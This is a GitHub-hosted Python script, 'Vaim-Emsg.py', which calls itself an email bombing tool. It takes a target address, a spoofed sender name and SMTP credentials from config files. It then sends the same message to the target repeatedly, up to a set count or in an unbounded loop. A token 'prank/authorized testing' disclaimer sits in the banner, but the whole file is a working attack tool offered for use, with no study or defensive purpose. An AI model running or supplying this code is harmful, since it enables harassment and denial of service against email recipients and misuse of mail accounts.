-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathVaim-Emsg.py
188 lines (144 loc) · 5.08 KB
/
Vaim-Emsg.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#used modules --------------
import smtplib, time, os, sys
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import random
#---------------------------
#colours ------------code's---
r = "\033[1;31m"
g = "\033[1;32m"
y = "\033[1;33m"
b = "\033[1;34m"
d = "\033[2;37m"
R = "\033[1;41m"
Y = "\033[1;43m"
B = "\033[1;44m"
w = "\033[1;37m"
#------------------------------
#script banner--------------------------
logo = """\033[1;37m
\033[1;37m[!] \033[1;31mThis is use for E-mail Bombing, You can Unlimitedly send !!! BYE :_)
\033[1;37m
┌-============================= -
= \033[1;31m . ┌──────── \033[1;37mVaim-Emsg -
= \033[1;31m .┌─── \033[1;37mB-Hat VaimYT PROJECT - \033[34m[✔] https://github.com/VaimpierOfficial [✔]
\033[1;37m= E-mail BOMBING TOOL - \033[34m[✔] Version 1.0 [✔]
\033[1;37m= \033[1;31m . └──── \033[1;37mBY Vaimpier Ritik - \033[91m[X] Please Don't Use For illegal Activity [X]
\033[1;37m= \033[1;31m . └─── \033[1;37mVERSION 1.0 -
\033[1;37m└-============================= -
\033[1;31m
Disclaimer: \033[1;32mthis tool is designed for Prank
testing in an authorized simulated cyberattack
Attacking targets without prior mutual consent
is illegal!
\033[1;37m
\033[97m """
#ALL comment are under tested so ignore him when i update it then its help me out to think better so thanks for using tool
#we will update soon
#we will add spoofing x bombing
#soon
#by vaimpier ritik
#-------------------------------------------
#script banner fuction---
def banner():
print(logo)
#------------------------
#menu---------------------------------------------------------------------------
os.system("clear")
banner()
wow=0
tar_email = input(r+"└─"+w+"\033[1;37mEnter Target E-mail: "+r)
fuck = input(r+"└─"+w+"\033[1;37mDo you wanna Unlimitedly [ y / n ]: "+b)
if fuck=='y' or fuck=='Y' or fuck=="yes" or fuck=="Yes":
wow=1
if fuck=='n' or fuck=='N' or fuck=="No" or fuck=="no":
count = int(input(r+"..└─"+w+"\033[1;37mHow many you wanna send: "+b))
spoof = input(r+"└─"+w+"\033[1;37mEnter Any Name: "+r)
#-------------------------------------------------------------------------------
#opening reading files------------------
email=open('email.conf', 'r').read()
password=open('pass.conf', 'r').read()
host=open('hosts.conf', 'r').read()
port=open('ports.conf', 'r').read()
Es = open('message.conf', 'r').read()
#---------------------------------------
#spreate value from here---
email = email.split()
password = password.split()
host = host.split()
port = port.split()
#--------------------------
#msg binding-----------
msg = MIMEMultipart()
msg["To"] = tar_email
msg["From"] = str(spoof) +"<Any@gmail.com>"
msg.attach(MIMEText(Es, 'html'))
#----------------------
#checking file values--
if int(len(email)) == int(len(password)) and int(len(host)) == int(len(port)):
pass
else:
os.system("clear")
for j in range(0, 4):
err_name = ['baby','ho gya bro','sad life',':(','Something']
print(r+"└─"+w+"[!]"+r+random.choice(err_name))
#-----------------------
#sending mail------------------------------------------------------
try:
def vaimpier(email,password,host='smtp.gmail.com',port=587):
try:
s = smtplib.SMTP(str(host), int(port))
s.starttls()
except:
print(r+"└─"+w+"[ ✖ ] Failed : "+r+"Put right Host or Port !!! :_)\n")
exit()
try:
s.login(email, password)
except:
print(r+"└─"+w+"[ ✖ ] Login Failed : "+r+"Put right Mail or Password or check lessecure apps enable or not !!! :_)\n")
exit()
z=0
if wow==1:
while(True):
s.send_message(msg)
print(r+"└─"+w+"[ ✔ ] Sucess"+r, z+1)
z=z+1
else:
for i in range(0, count):
s.send_message(msg)
print(r+"└─"+w+"[ ✔ ] Sucess"+r, i+1)
s.close()
except:
os.system("clear")
for j in range(0, 4):
err_name = ['baby','Error ho gya bro','sad life',':(','Something']
print(r+"└─"+w+"[!]"+r+random.choice(err_name))
#-------------------------------------------------------------------
#puting values-----------------------------------------
f = 0
for c in range(0,len(email)):
vaimpier(email[f],password[f],host[f],port[f])
f=f+1
#------------------------------------------------------
#my msg -----------------------------------------------
ritik_welcome = [
'Thanks for using our tool',
'Keep using this tool Thanks Brother !!!',
'Bye dear :)',
'Hope you enjoy with this tool',
'We are Vaimpier :) Bye',
'Thankyou so much dear :)',
'Keep learning keep hacking :)',
'Bye :) Next Update soon',
'We have many tools like this subscribe our channel to get more',
'Have a Good day dear :) ',
'Vaimpier Ritik says :) Thanks dear Bye :_)'
]
print("\n")
print(r+"└─"+w+"[!] "+r+random.choice(ritik_welcome))
print("\n")
#Thanks for reading until here
#we are vaimpier solo
#we will add more soon :3
#bye
#--------------------------------------------------------